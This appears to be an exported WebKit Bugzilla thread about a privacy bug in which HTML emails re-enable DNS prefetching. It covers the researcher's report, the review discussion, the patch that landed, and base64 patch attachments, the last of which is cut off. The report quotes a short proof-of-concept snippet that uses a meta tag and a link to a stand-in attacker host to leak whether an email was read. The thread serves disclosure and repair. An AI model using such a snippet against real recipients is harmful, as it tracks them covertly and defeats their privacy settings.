<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>182924</bug_id>
          
          <creation_ts>2018-02-19 05:40:34 -0800</creation_ts>
          <short_desc>Potential privacy issue: DNS prefetching can be re-enabled</short_desc>
          <delta_ts>2018-02-27 08:39:18 -0800</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>WebKitGTK</component>
          <version>Other</version>
          <rep_platform>Unspecified</rep_platform>
          <op_sys>Unspecified</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords></keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter>jens.a.mueller+webkit</reporter>
          <assigned_to name="Nobody">webkit-unassigned</assigned_to>
          <cc>bfulgham</cc>
    
    <cc>bugs-noreply</cc>
    
    <cc>cdumez</cc>
    
    <cc>commit-queue</cc>
    
    <cc>dbates</cc>
    
    <cc>esprehn+autocc</cc>
    
    <cc>ews-watchlist</cc>
    
    <cc>kangil.han</cc>
    
    <cc>mcatanzaro</cc>
    
    <cc>mcrha</cc>
    
    <cc>tpopela</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>1400338</commentid>
    <comment_count>0</comment_count>
    <who name="">jens.a.mueller+webkit</who>
    <bug_when>2018-02-19 05:40:34 -0800</bug_when>
    <thetext>In the scope of academic research we systematically analyzed various email clients for `web bugs&apos; -- 1x1 pixel images in HTML emails used by spammers to track if their mails to a certain address are actually read. To respect the privacy of their customers most email clients, by default, block external content like images in HTML emails. This can be bypassed on Trojitá and Evolution by re-enabling DNS prefetching within the HTML email itself:

&lt;meta http-equiv=&quot;x-dns-prefetch-control&quot; content=&quot;on&quot;&gt;
&lt;a href=&quot;http://tracking-id.attacker.com&quot;&gt;&lt;/a&gt;

The related bug reports can be found here:

https://bugs.kde.org/show_bug.cgi?id=390452
https://bugzilla.gnome.org/show_bug.cgi?id=793449

Both mail clients use WebKit to render HTML emails, so it may actually be a WebKit issue and should be fixed here.

For the testing the mail clients we used Debian GNU/Linux 9.3 with:

- libwebkit2gtk-4.0-37:amd64 (version 2.16.6+0+deb9u1)
- libqt5webkit5:amd64 (version 5.7.1+dfsg-1)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401089</commentid>
    <comment_count>1</comment_count>
      <attachid>334367</attachid>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-21 05:58:11 -0800</bug_when>
    <thetext>Created attachment 334367
proposed patch

Let&apos;s prefer settings value over the on ein the page. That is, once the DNS prefething is disabled in the WebKit settings, it cannot be enabled by the page.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401092</commentid>
    <comment_count>2</comment_count>
    <who name="EWS Watchlist">ews-watchlist</who>
    <bug_when>2018-02-21 06:01:03 -0800</bug_when>
    <thetext>Attachment 334367 did not pass style-queue:


ERROR: Source/WebCore/ChangeLog:10:  Line contains tab character.  [whitespace/tab] [5]
Total errors found: 1 in 2 files


If any of these errors are false positives, please file a bug against check-webkit-style.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401096</commentid>
    <comment_count>3</comment_count>
      <attachid>334372</attachid>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-21 06:14:13 -0800</bug_when>
    <thetext>Created attachment 334372
proposed patch (fixed tab in ChangeLog)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401222</commentid>
    <comment_count>4</comment_count>
      <attachid>334372</attachid>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-21 12:29:45 -0800</bug_when>
    <thetext>Comment on attachment 334372
proposed patch (fixed tab in ChangeLog)

Tor users are not going to be happy about this. (Another good example of why you should only use Tor with Tor Browser Bundle....)

I think this patch makes sense, but since no ports enable DNS prefetch by default, this really totally disables DNS prefetch in WebKit, to the point where we should be considering removing the feature entirely. And that is rather strange, since prefetch is considered to be a major performance boost.

By coincidence, I had started a discussion about this yesterday: https://lists.webkit.org/pipermail/webkit-dev/2018-February/029881.html</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401239</commentid>
    <comment_count>5</comment_count>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-21 13:13:19 -0800</bug_when>
    <thetext>Tor users can enable the DNS prefetch in settings and it&apos;ll make them happy again. Evolution explicitly disables the prefetch. I didn&apos;t know all webkit has this disabled by default, good to know. As this will be all client-driven, there is no need to remove the setting and the code around it, it&apos;s all fine.

I believe the intention to have the page override this option is just a security hole, especially after Jens explained it (to me) in the GNOME bugzilla.

I hesitate to insert at the top of each generated HTML code by evolution (in iframe-s too?) a new &lt;meta&gt; first, to explicitly disable prefetch, then any similar tag in received mail would not enable it, but if you think it&apos;s the way to go, then let it be the way to go.

Another approach would be to have enable-dns-prefetch a three-state value:
1) enabled always
2) disabled always
3) disabled, but allow the page enable it (to mimic the current behaviour and
   expectations)

and the most the page will be always able to disable DNS pefetch, but enable it only if the setting will be the value 3) from the above list.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401240</commentid>
    <comment_count>6</comment_count>
      <attachid>334372</attachid>
    <who name="Chris Dumez">cdumez</who>
    <bug_when>2018-02-21 13:18:17 -0800</bug_when>
    <thetext>Comment on attachment 334372
proposed patch (fixed tab in ChangeLog)

View in context: https://bugs.webkit.org/attachment.cgi?id=334372&amp;action=review

&gt; Source/WebCore/dom/Document.cpp:-5763
&gt; -    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, &quot;on&quot;) &amp;&amp; !m_haveExplicitlyDisabledDNSPrefetch) {

I&apos;d rather we return early in this method if !settings().dnsPrefetchingEnabled(). Otherwise, we end up changing the value of m_haveExplicitlyDisabledDNSPrefetch.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401246</commentid>
    <comment_count>7</comment_count>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-21 13:33:56 -0800</bug_when>
    <thetext>(In reply to Chris Dumez from comment #6)
&gt; I&apos;d rather we return early in this method if
&gt; !settings().dnsPrefetchingEnabled(). Otherwise, we end up changing the value
&gt; of m_haveExplicitlyDisabledDNSPrefetch.

I&apos;ve been thinking of it too, but:
a) I wanted ensure that the prefetch will be disabled
b) that variable is used basically only here (and in initDNSPrefetch(), where
   it&apos;s set to &apos;false&apos; again) and after this change is means &quot;explicitly
   disabled by settings&quot; here, from my point of view.

I added some debug prints around and the initDNSPrefetch() is called plenty of times after each page reload (or load of a new page in case of Evolution), thus the value is reset often.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401276</commentid>
    <comment_count>8</comment_count>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-21 14:25:48 -0800</bug_when>
    <thetext>(In reply to Milan Crha from comment #5)
&gt; Tor users can enable the DNS prefetch in settings and it&apos;ll make them happy
&gt; again.

I mean: if you use tor, you really don&apos;t want to be locally prefetching anything.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401279</commentid>
    <comment_count>9</comment_count>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-21 14:28:47 -0800</bug_when>
    <thetext>I also think early return would be cleaner.

Chris, you&apos;re OK with changing the semantics of this HTTP header to only allow disabling prefetch, never enabling it? I think we need to; the bug report is valid.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401297</commentid>
    <comment_count>10</comment_count>
    <who name="Chris Dumez">cdumez</who>
    <bug_when>2018-02-21 15:33:33 -0800</bug_when>
    <thetext>(In reply to Michael Catanzaro from comment #9)
&gt; I also think early return would be cleaner.
&gt; 
&gt; Chris, you&apos;re OK with changing the semantics of this HTTP header to only
&gt; allow disabling prefetch, never enabling it? I think we need to; the bug
&gt; report is valid.

I think the change makes sense. Client setting should override anything else IMHO.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401393</commentid>
    <comment_count>11</comment_count>
      <attachid>334442</attachid>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-22 01:33:10 -0800</bug_when>
    <thetext>Created attachment 334442
proposed patch ][

In case you want the page only to disable prefetching, but never enable it, then the m_haveExplicitlyDisabledDNSPrefetch property can be removed and the code simplified as much as this.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401432</commentid>
    <comment_count>12</comment_count>
      <attachid>334442</attachid>
    <who name="Chris Dumez">cdumez</who>
    <bug_when>2018-02-22 09:00:32 -0800</bug_when>
    <thetext>Comment on attachment 334442
proposed patch ][

View in context: https://bugs.webkit.org/attachment.cgi?id=334442&amp;action=review

&gt; Source/WebCore/dom/Document.cpp:-5769
&gt; -    m_haveExplicitlyDisabledDNSPrefetch = true;

I do not understand why it is OK to drop this flag. This flag has nothing to do with the page setting.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401455</commentid>
    <comment_count>13</comment_count>
      <attachid>334442</attachid>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-22 10:36:01 -0800</bug_when>
    <thetext>Comment on attachment 334442
proposed patch ][

View in context: https://bugs.webkit.org/attachment.cgi?id=334442&amp;action=review

&gt; Source/WebCore/dom/Document.cpp:5765
&gt; +    // let the page only disable prefetching, not enable it

WebKit style is to write the comment as a full sentence, with a capital L and a period at the end.

&gt;&gt; Source/WebCore/dom/Document.cpp:-5769
&gt;&gt; -    m_haveExplicitlyDisabledDNSPrefetch = true;
&gt; 
&gt; I do not understand why it is OK to drop this flag. This flag has nothing to do with the page setting.

I think m_haveExplicitlyDisabledDNSPrefetch is there to ensure that if prefetch is disabled, either with the HTTP header or HTML meta http-equiv, it can&apos;t ever be reenabled the same way. Thanks for trying to clean up the code, but I think we should keep it.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401666</commentid>
    <comment_count>14</comment_count>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-22 23:39:45 -0800</bug_when>
    <thetext>Well, when I change it to something like this:

diff --git a/Source/WebCore/dom/Document.cpp b/Source/WebCore/dom/Document.cpp
index 0a5a1df61a..db08fb9b7a 100644
--- a/Source/WebCore/dom/Document.cpp
+++ b/Source/WebCore/dom/Document.cpp
@@ -5765,10 +5765,12 @@ void Document::initDNSPrefetch()
 
 void Document::parseDNSPrefetchControlHeader(const String&amp; dnsPrefetchControl)
 {
-    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, &quot;on&quot;) &amp;&amp; !m_haveExplicitlyDisabledDNSPrefetch) {
-        m_isDNSPrefetchEnabled = true;
+    if (!settings().dnsPrefetchingEnabled())
+        return;
+
+    // Let the page only disable prefetching, not enable it.
+    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, &quot;on&quot;))
         return;
-    }
 
     m_isDNSPrefetchEnabled = false;
     m_haveExplicitlyDisabledDNSPrefetch = true;

then it&apos;s only written to m_haveExplicitlyDisabledDNSPrefetch, never read from it. That&apos;s why I removed it.

I think the change is that simple that you can correct it the way which prefer to you, I really do not care of credits, I only would like to have this included in the next stable release of WebKitGTK+ and not miss it due to nitpicks.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401779</commentid>
    <comment_count>15</comment_count>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-23 11:32:13 -0800</bug_when>
    <thetext>Just don&apos;t get rid of the &amp;&amp; !m_haveExplicitlyDisabledDNSPrefetch check:

void Document::parseDNSPrefetchControlHeader(const String&amp; dnsPrefetchControl)
{
    // Prefetch disabled in settings
    if (!settings().dnsPrefetchingEnabled())
        return;

    // Prefetch requested by website *AND not previously turned off by website*
    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, &quot;on&quot;) &amp;&amp; !m_haveExplicitlyDisabledDNSPrefetch) {
        m_isDNSPrefetchEnabled = true;
        return;
    }
 
    // Prefetch turned off by website (any value for the header except &quot;on&quot;)
    m_isDNSPrefetchEnabled = false;
    m_haveExplicitlyDisabledDNSPrefetch = true;
}</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1401993</commentid>
    <comment_count>16</comment_count>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-26 01:32:15 -0800</bug_when>
    <thetext>(In reply to Chris Dumez from comment #10)
&gt; (In reply to Michael Catanzaro from comment #9)
&gt; &gt; I also think early return would be cleaner.
&gt; &gt; 
&gt; &gt; Chris, you&apos;re OK with changing the semantics of this HTTP header to only
&gt; &gt; allow disabling prefetch, never enabling it? I think we need to; the bug
&gt; &gt; report is valid.
&gt; 
&gt; I think the change makes sense. Client setting should override anything else
&gt; IMHO.

The suggestion in comment #15 goes against the above quoted part, from my point of view. Especially when we agree that the web page should not ever enable the DNS prefetch on its own when user settings is OFF. I look on it this way:

   - settings = OFF, then DNS prefetch is kept off whatever the page or
     response headers will claim
   - settings = ON, then the DNS prefetch is enabled and the page can only
     disable the prefetch; when the page uses &quot;on&quot;, then it won&apos;t change
     anything (prefetch is already enabled)
     * if the page (or the transport headers) disable DNS prefetching
       and then the page &quot;changes its mind&quot; and will try to enable it again,
       then the code with m_haveExplicitlyDisabledDNSPrefetch doesn&apos;t
       make much sense to me, because in that case WebKit would try to dictate
       some &quot;workflow&quot; to the web pages, which looks odd, because WebKit has
       the settings to let the clients (users of WebKit) influence the DNS
       prefetching behaviour, and the user already said it&apos;s fine to do DNS
       prefetching, thus it doesn&apos;t matter whether the page disabled and then
       enabled it again (or ten times).

I think that the code complexity with m_haveExplicitlyDisabledDNSPrefetch is not needed, unless you are afraid of (or you want to cover) some header injection on the response headers/page content(/iframes?), but even then the last word has the WebKit client through the settings and if it is fine with DNS prefetching, then let the page do it or change it on/off to its likings.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402066</commentid>
    <comment_count>17</comment_count>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-26 09:11:50 -0800</bug_when>
    <thetext>(In reply to Milan Crha from comment #16)
&gt; The suggestion in comment #15 goes against the above quoted part, from my
&gt; point of view. Especially when we agree that the web page should not ever
&gt; enable the DNS prefetch on its own when user settings is OFF. I look on it
&gt; this way:
&gt; 
&gt;    - settings = OFF, then DNS prefetch is kept off whatever the page or
&gt;      response headers will claim

Yes

&gt;    - settings = ON, then the DNS prefetch is enabled and the page can only
&gt;      disable the prefetch; when the page uses &quot;on&quot;, then it won&apos;t change
&gt;      anything (prefetch is already enabled)

Yes

&gt;      * if the page (or the transport headers) disable DNS prefetching
&gt;        and then the page &quot;changes its mind&quot; and will try to enable it again,
&gt;        then the code with m_haveExplicitlyDisabledDNSPrefetch doesn&apos;t
&gt;        make much sense to me, because in that case WebKit would try to
&gt; dictate
&gt;        some &quot;workflow&quot; to the web pages, which looks odd, because WebKit has
&gt;        the settings to let the clients (users of WebKit) influence the DNS
&gt;        prefetching behaviour, and the user already said it&apos;s fine to do DNS
&gt;        prefetching, thus it doesn&apos;t matter whether the page disabled and then
&gt;        enabled it again (or ten times).
&gt; 
&gt; I think that the code complexity with m_haveExplicitlyDisabledDNSPrefetch is
&gt; not needed, unless you are afraid of (or you want to cover) some header
&gt; injection on the response headers/page content(/iframes?), but even then the
&gt; last word has the WebKit client through the settings and if it is fine with
&gt; DNS prefetching, then let the page do it or change it on/off to its likings.

Since this setting affects the security of the page, the current code ensures that it is not possible to re-enable it once it has been disabled. There doesn&apos;t seem to be any strong reason for your patch to remove this restriction. I would prefer that your patch make only the originally-desired change.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402091</commentid>
    <comment_count>18</comment_count>
      <attachid>334626</attachid>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-26 10:19:53 -0800</bug_when>
    <thetext>Created attachment 334626
proposed patch ]I[

Okay okay :)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402139</commentid>
    <comment_count>19</comment_count>
      <attachid>334626</attachid>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-26 12:38:05 -0800</bug_when>
    <thetext>Comment on attachment 334626
proposed patch ]I[

View in context: https://bugs.webkit.org/attachment.cgi?id=334626&amp;action=review

Now, this patch looks good to me. Maybe Chris will want to give final review.

&gt; Source/WebCore/dom/Document.cpp:5771
&gt; +    // Prefetch requested by the website AND not previously turned off by the website

Please don&apos;t add this comment to the code; I had meant that to be a comment for Bugzilla purposes only. :) It&apos;s somewhat obvious, and also not a complete sentence.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402305</commentid>
    <comment_count>20</comment_count>
      <attachid>334678</attachid>
    <who name="Milan Crha">mcrha</who>
    <bug_when>2018-02-27 00:32:53 -0800</bug_when>
    <thetext>Created attachment 334678
proposed patch IV</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402338</commentid>
    <comment_count>21</comment_count>
      <attachid>334678</attachid>
    <who name="Michael Catanzaro">mcatanzaro</who>
    <bug_when>2018-02-27 07:54:42 -0800</bug_when>
    <thetext>Comment on attachment 334678
proposed patch IV

Chris, this look good to you?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402340</commentid>
    <comment_count>22</comment_count>
      <attachid>334678</attachid>
    <who name="Chris Dumez">cdumez</who>
    <bug_when>2018-02-27 08:15:10 -0800</bug_when>
    <thetext>Comment on attachment 334678
proposed patch IV

Yes.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402342</commentid>
    <comment_count>23</comment_count>
      <attachid>334678</attachid>
    <who name="WebKit Commit Bot">commit-queue</who>
    <bug_when>2018-02-27 08:39:16 -0800</bug_when>
    <thetext>Comment on attachment 334678
proposed patch IV

Clearing flags on attachment: 334678

Committed r229061: &lt;https://trac.webkit.org/changeset/229061&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>1402343</commentid>
    <comment_count>24</comment_count>
    <who name="WebKit Commit Bot">commit-queue</who>
    <bug_when>2018-02-27 08:39:18 -0800</bug_when>
    <thetext>All reviewed patches have been landed.  Closing bug.</thetext>
  </long_desc>
      
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>334367</attachid>
            <date>2018-02-21 05:58:11 -0800</date>
            <delta_ts>2018-02-21 06:14:13 -0800</delta_ts>
            <desc>proposed patch</desc>
            <filename>wk.patch</filename>
            <type>text/plain</type>
            <size>1302</size>
            <attacher name="Milan Crha">mcrha</attacher>
            
              <data encoding="base64">ZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZyBiL1NvdXJjZS9XZWJDb3JlL0No
YW5nZUxvZwppbmRleCBjN2RkNTMxYWUwLi45ODM3YTgwYzkwIDEwMDY0NAotLS0gYS9Tb3VyY2Uv
V2ViQ29yZS9DaGFuZ2VMb2cKKysrIGIvU291cmNlL1dlYkNvcmUvQ2hhbmdlTG9nCkBAIC0xLDMg
KzEsMTQgQEAKKzIwMTgtMDItMjEgIE1pbGFuIENyaGEgIDxtY3JoYUByZWRoYXQuY29tPgorCisg
ICAgICAgIFBvdGVudGlhbCBwcml2YWN5IGlzc3VlOiBETlMgcHJlZmV0Y2hpbmcgY2FuIGJlIHJl
LWVuYWJsZWQKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lk
PTE4MjkyNAorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgorCisgICAgICAg
ICogZG9tL0RvY3VtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkRvY3VtZW50OjpwYXJzZURO
U1ByZWZldGNoQ29udHJvbEhlYWRlcik6IHByZWZlciBXZWJLaXQgc2V0dGluZ3MKKwlvdmVyIHRo
ZSB2YWx1ZSBpbiB0aGUgSFRNTCBkb2N1bWVudAorCiAyMDE4LTAyLTA2ICBNczJnZXIgIDxNczJn
ZXJAaWdhbGlhLmNvbT4KIAogICAgICAgICBJbml0aWFsaXplIEltYWdlQml0bWFwOjptX2JpdG1h
cERhdGEgaW4gdGhlIGNvbnN0cnVjdG9yLgpkaWZmIC0tZ2l0IGEvU291cmNlL1dlYkNvcmUvZG9t
L0RvY3VtZW50LmNwcCBiL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5jcHAKaW5kZXggMzA3
ZWFmYjcyOC4uMGRjNDFmYTg2NyAxMDA2NDQKLS0tIGEvU291cmNlL1dlYkNvcmUvZG9tL0RvY3Vt
ZW50LmNwcAorKysgYi9Tb3VyY2UvV2ViQ29yZS9kb20vRG9jdW1lbnQuY3BwCkBAIC01NzYwLDcg
KzU3NjAsNyBAQCB2b2lkIERvY3VtZW50Ojppbml0RE5TUHJlZmV0Y2goKQogCiB2b2lkIERvY3Vt
ZW50OjpwYXJzZUROU1ByZWZldGNoQ29udHJvbEhlYWRlcihjb25zdCBTdHJpbmcmIGRuc1ByZWZl
dGNoQ29udHJvbCkKIHsKLSAgICBpZiAoZXF1YWxMZXR0ZXJzSWdub3JpbmdBU0NJSUNhc2UoZG5z
UHJlZmV0Y2hDb250cm9sLCAib24iKSAmJiAhbV9oYXZlRXhwbGljaXRseURpc2FibGVkRE5TUHJl
ZmV0Y2gpIHsKKyAgICBpZiAoZXF1YWxMZXR0ZXJzSWdub3JpbmdBU0NJSUNhc2UoZG5zUHJlZmV0
Y2hDb250cm9sLCAib24iKSAmJiAhbV9oYXZlRXhwbGljaXRseURpc2FibGVkRE5TUHJlZmV0Y2gg
JiYgc2V0dGluZ3MoKS5kbnNQcmVmZXRjaGluZ0VuYWJsZWQoKSkgewogICAgICAgICBtX2lzRE5T
UHJlZmV0Y2hFbmFibGVkID0gdHJ1ZTsKICAgICAgICAgcmV0dXJuOwogICAgIH0K
</data>

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>334372</attachid>
            <date>2018-02-21 06:14:13 -0800</date>
            <delta_ts>2018-02-22 01:33:10 -0800</delta_ts>
            <desc>proposed patch (fixed tab in ChangeLog)</desc>
            <filename>wk.patch</filename>
            <type>text/plain</type>
            <size>1309</size>
            <attacher name="Milan Crha">mcrha</attacher>
            
              <data encoding="base64">ZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZyBiL1NvdXJjZS9XZWJDb3JlL0No
YW5nZUxvZwppbmRleCBjN2RkNTMxYWUwLi45ODM3YTgwYzkwIDEwMDY0NAotLS0gYS9Tb3VyY2Uv
V2ViQ29yZS9DaGFuZ2VMb2cKKysrIGIvU291cmNlL1dlYkNvcmUvQ2hhbmdlTG9nCkBAIC0xLDMg
KzEsMTQgQEAKKzIwMTgtMDItMjEgIE1pbGFuIENyaGEgIDxtY3JoYUByZWRoYXQuY29tPgorCisg
ICAgICAgIFBvdGVudGlhbCBwcml2YWN5IGlzc3VlOiBETlMgcHJlZmV0Y2hpbmcgY2FuIGJlIHJl
LWVuYWJsZWQKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lk
PTE4MjkyNAorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgorCisgICAgICAg
ICogZG9tL0RvY3VtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkRvY3VtZW50OjpwYXJzZURO
U1ByZWZldGNoQ29udHJvbEhlYWRlcik6IHByZWZlciBXZWJLaXQgc2V0dGluZ3MKKyAgICAgICAg
b3ZlciB0aGUgdmFsdWUgaW4gdGhlIEhUTUwgZG9jdW1lbnQKKwogMjAxOC0wMi0wNiAgTXMyZ2Vy
ICA8TXMyZ2VyQGlnYWxpYS5jb20+CiAKICAgICAgICAgSW5pdGlhbGl6ZSBJbWFnZUJpdG1hcDo6
bV9iaXRtYXBEYXRhIGluIHRoZSBjb25zdHJ1Y3Rvci4KZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJD
b3JlL2RvbS9Eb2N1bWVudC5jcHAgYi9Tb3VyY2UvV2ViQ29yZS9kb20vRG9jdW1lbnQuY3BwCmlu
ZGV4IDMwN2VhZmI3MjguLjBkYzQxZmE4NjcgMTAwNjQ0Ci0tLSBhL1NvdXJjZS9XZWJDb3JlL2Rv
bS9Eb2N1bWVudC5jcHAKKysrIGIvU291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmNwcApAQCAt
NTc2MCw3ICs1NzYwLDcgQEAgdm9pZCBEb2N1bWVudDo6aW5pdEROU1ByZWZldGNoKCkKIAogdm9p
ZCBEb2N1bWVudDo6cGFyc2VETlNQcmVmZXRjaENvbnRyb2xIZWFkZXIoY29uc3QgU3RyaW5nJiBk
bnNQcmVmZXRjaENvbnRyb2wpCiB7Ci0gICAgaWYgKGVxdWFsTGV0dGVyc0lnbm9yaW5nQVNDSUlD
YXNlKGRuc1ByZWZldGNoQ29udHJvbCwgIm9uIikgJiYgIW1faGF2ZUV4cGxpY2l0bHlEaXNhYmxl
ZEROU1ByZWZldGNoKSB7CisgICAgaWYgKGVxdWFsTGV0dGVyc0lnbm9yaW5nQVNDSUlDYXNlKGRu
c1ByZWZldGNoQ29udHJvbCwgIm9uIikgJiYgIW1faGF2ZUV4cGxpY2l0bHlEaXNhYmxlZEROU1By
ZWZldGNoICYmIHNldHRpbmdzKCkuZG5zUHJlZmV0Y2hpbmdFbmFibGVkKCkpIHsKICAgICAgICAg
bV9pc0ROU1ByZWZldGNoRW5hYmxlZCA9IHRydWU7CiAgICAgICAgIHJldHVybjsKICAgICB9Cg==
</data>

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>334442</attachid>
            <date>2018-02-22 01:33:10 -0800</date>
            <delta_ts>2018-02-26 10:19:53 -0800</delta_ts>
            <desc>proposed patch ][</desc>
            <filename>wk.patch</filename>
            <type>text/plain</type>
            <size>2398</size>
            <attacher name="Milan Crha">mcrha</attacher>
            
              <data encoding="base64">ZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZyBiL1NvdXJjZS9XZWJDb3JlL0No
YW5nZUxvZwppbmRleCBjN2RkNTMxYWUwLi4zZTllMGViYTdiIDEwMDY0NAotLS0gYS9Tb3VyY2Uv
V2ViQ29yZS9DaGFuZ2VMb2cKKysrIGIvU291cmNlL1dlYkNvcmUvQ2hhbmdlTG9nCkBAIC0xLDMg
KzEsMTYgQEAKKzIwMTgtMDItMjIgIE1pbGFuIENyaGEgIDxtY3JoYUByZWRoYXQuY29tPgorCisg
ICAgICAgIFBvdGVudGlhbCBwcml2YWN5IGlzc3VlOiBETlMgcHJlZmV0Y2hpbmcgY2FuIGJlIHJl
LWVuYWJsZWQKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lk
PTE4MjkyNAorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgorCisgICAgICAg
ICogZG9tL0RvY3VtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkRvY3VtZW50Ojppbml0RE5T
UHJlZmV0Y2gpOgorICAgICAgICAoV2ViQ29yZTo6RG9jdW1lbnQ6OnBhcnNlRE5TUHJlZmV0Y2hD
b250cm9sSGVhZGVyKToKKyAgICAgICAgKiBkb20vRG9jdW1lbnQuaDogcHJlZmVyIFdlYktpdCBz
ZXR0aW5ncworICAgICAgICBvdmVyIHRoZSB2YWx1ZSBpbiB0aGUgSFRNTCBkb2N1bWVudAorCiAy
MDE4LTAyLTA2ICBNczJnZXIgIDxNczJnZXJAaWdhbGlhLmNvbT4KIAogICAgICAgICBJbml0aWFs
aXplIEltYWdlQml0bWFwOjptX2JpdG1hcERhdGEgaW4gdGhlIGNvbnN0cnVjdG9yLgpkaWZmIC0t
Z2l0IGEvU291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmNwcCBiL1NvdXJjZS9XZWJDb3JlL2Rv
bS9Eb2N1bWVudC5jcHAKaW5kZXggMzA3ZWFmYjcyOC4uMTdlMGY4ODhkNiAxMDA2NDQKLS0tIGEv
U291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmNwcAorKysgYi9Tb3VyY2UvV2ViQ29yZS9kb20v
RG9jdW1lbnQuY3BwCkBAIC01NzQ4LDcgKzU3NDgsNiBAQCBUZXh0QXV0b1NpemluZyYgRG9jdW1l
bnQ6OnRleHRBdXRvU2l6aW5nKCkKIAogdm9pZCBEb2N1bWVudDo6aW5pdEROU1ByZWZldGNoKCkK
IHsKLSAgICBtX2hhdmVFeHBsaWNpdGx5RGlzYWJsZWRETlNQcmVmZXRjaCA9IGZhbHNlOwogICAg
IG1faXNETlNQcmVmZXRjaEVuYWJsZWQgPSBzZXR0aW5ncygpLmRuc1ByZWZldGNoaW5nRW5hYmxl
ZCgpICYmIHNlY3VyaXR5T3JpZ2luKCkucHJvdG9jb2woKSA9PSAiaHR0cCI7CiAKICAgICAvLyBJ
bmhlcml0IEROUyBwcmVmZXRjaCBvcHQtb3V0IGZyb20gcGFyZW50IGZyYW1lICAgIApAQCAtNTc2
MCwxMyArNTc1OSwxNCBAQCB2b2lkIERvY3VtZW50Ojppbml0RE5TUHJlZmV0Y2goKQogCiB2b2lk
